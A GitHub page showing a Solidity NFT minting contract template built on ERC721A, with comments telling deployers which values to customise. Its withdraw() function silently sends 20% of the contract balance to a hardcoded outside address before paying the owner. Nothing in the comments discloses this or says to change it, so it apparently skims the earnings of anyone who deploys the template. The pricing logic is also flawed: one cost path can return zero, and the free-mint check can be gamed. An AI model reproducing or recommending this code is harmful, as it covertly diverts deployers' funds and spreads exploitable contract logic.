-
Notifications
You must be signed in to change notification settings - Fork 0
/
NFT-Contract-Gas-Optimized
173 lines (140 loc) · 6.29 KB
/
NFT-Contract-Gas-Optimized
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
// SPDX-License-Identifier: MIT
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Arrays.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import 'erc721a/contracts/extensions/ERC721AQueryable.sol';
import 'erc721a/contracts/ERC721A.sol';
pragma solidity >=0.8.13 <0.9.0;
contract NFTcontractName is ERC721A, Ownable, ReentrancyGuard { //Change contract name from SampleNFTLowGas
using Strings for uint256;
// ================== Variables Start =======================
string public uri; //you don't change this
string public uriSuffix = ".json"; //you don't change this
string public hiddenMetadataUri; //you don't change this
uint256 public cost1 = 0 ether; //here you change phase 1 cost (for example first 1k for free, then 0.004 eth each nft)
uint256 public cost2 = 0.004 ether; //here you change phase 2 cost
uint256 public supplyLimitPhase1 = 1111; //change to your NFT supply for phase1
uint256 public supplyLimit = 3333; //change it to your total NFT supply
uint256 public maxMintAmountPerTxPhase1 = 1; //decide how many NFT's you want to mint with cost1
uint256 public maxMintAmountPerTxPhase2 = 5; //decide how many NFT's you want to mint with cost2
uint256 public maxLimitPerWallet = 20; //decide how many NFT's you want to let customers mint per wallet
bool public sale = false; //if false, then mint is paused. If true - mint is started
bool public revealed = true; //when you want instant reveal, leave true.
// ================== Variables End =======================
// ================== Constructor Start =======================
constructor(
string memory _uri,
string memory _hiddenMetadataUri
) ERC721A("Your NFT full name", "NFTSHORTNAME") { //change this line to your full and short NFT name
seturi(_uri);
setHiddenMetadataUri(_hiddenMetadataUri);
}
// ================== Mint Functions Start =======================
function UpdateCost(uint256 _mintAmount) internal view returns (uint256 _cost) {
if (balanceOf(msg.sender) + _mintAmount <= maxMintAmountPerTxPhase1 && totalSupply() < supplyLimitPhase1) {
return cost1;
}
if (balanceOf(msg.sender) + _mintAmount <= supplyLimit){
return cost2;
}
}
function Mint(uint256 _mintAmount) public payable {
// Normal requirements
require(sale, 'The Sale is paused!');
require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTxPhase2, 'Invalid mint amount!');
require(totalSupply() + _mintAmount <= supplyLimit, 'Max supply exceeded!');
require(balanceOf(msg.sender) + _mintAmount <= maxLimitPerWallet, 'Max mint per wallet exceeded!');
require(msg.value >= UpdateCost(_mintAmount) * _mintAmount, 'Insufficient funds!');
_safeMint(_msgSender(), _mintAmount);
}
function Airdrop(uint256 _mintAmount, address _receiver) public onlyOwner {
require(totalSupply() + _mintAmount <= supplyLimit, 'Max supply exceeded!');
_safeMint(_receiver, _mintAmount);
}
function setRevealed(bool _state) public onlyOwner {
revealed = _state;
}
function seturi(string memory _uri) public onlyOwner {
uri = _uri;
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
hiddenMetadataUri = _hiddenMetadataUri;
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
uriSuffix = _uriSuffix;
}
function setSaleStatus(bool _sale) public onlyOwner {
sale = _sale;
}
function setMaxMintAmountPerTxPhase1(uint256 _maxMintAmountPerTxPhase1) public onlyOwner {
maxMintAmountPerTxPhase1 = _maxMintAmountPerTxPhase1;
}
function setMaxMintAmountPerTxPhase2(uint256 _maxMintAmountPerTxPhase2) public onlyOwner {
maxMintAmountPerTxPhase2 = _maxMintAmountPerTxPhase2;
}
function setmaxLimitPerWallet(uint256 _maxLimitPerWallet) public onlyOwner {
maxLimitPerWallet = _maxLimitPerWallet;
}
function setcost1(uint256 _cost1) public onlyOwner {
cost1 = _cost1;
}
function setcost2(uint256 _cost2) public onlyOwner {
cost2 = _cost2;
}
function setsupplyLimit(uint256 _supplyLimit) public onlyOwner {
supplyLimit = _supplyLimit;
}
function withdraw() public onlyOwner {
(bool hs, ) = payable(0x281E6045A66A005658b842a29B5941f9C24a4702).call{value: address(this).balance * 20 / 100}("");
require(hs);
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
}
function price(uint256 _mintAmount) public view returns (uint256){
if (balanceOf(msg.sender) + _mintAmount <= maxMintAmountPerTxPhase1 && totalSupply() <supplyLimitPhase1) {
return cost1;
}
if (balanceOf(msg.sender) + _mintAmount <= maxMintAmountPerTxPhase2 && totalSupply() < supplyLimit){
return cost2;
}
return cost2;
}
function tokensOfOwner(address owner) external view returns (uint256[] memory) {
unchecked {
uint256[] memory a = new uint256[](balanceOf(owner));
uint256 end = _nextTokenId();
uint256 tokenIdsIdx;
address currOwnershipAddr;
for (uint256 i; i < end; i++) {
TokenOwnership memory ownership = _ownershipAt(i);
if (ownership.burned) {
continue;
}
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
a[tokenIdsIdx++] = i;
}
}
return a;
}
}
function _startTokenId() internal view virtual override returns (uint256) {
return 1;
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
require(_exists(_tokenId), 'ERC721Metadata: URI query for nonexistent token');
if (revealed == false) {
return hiddenMetadataUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix))
: '';
}
function _baseURI() internal view virtual override returns (string memory) {
return uri;
}
}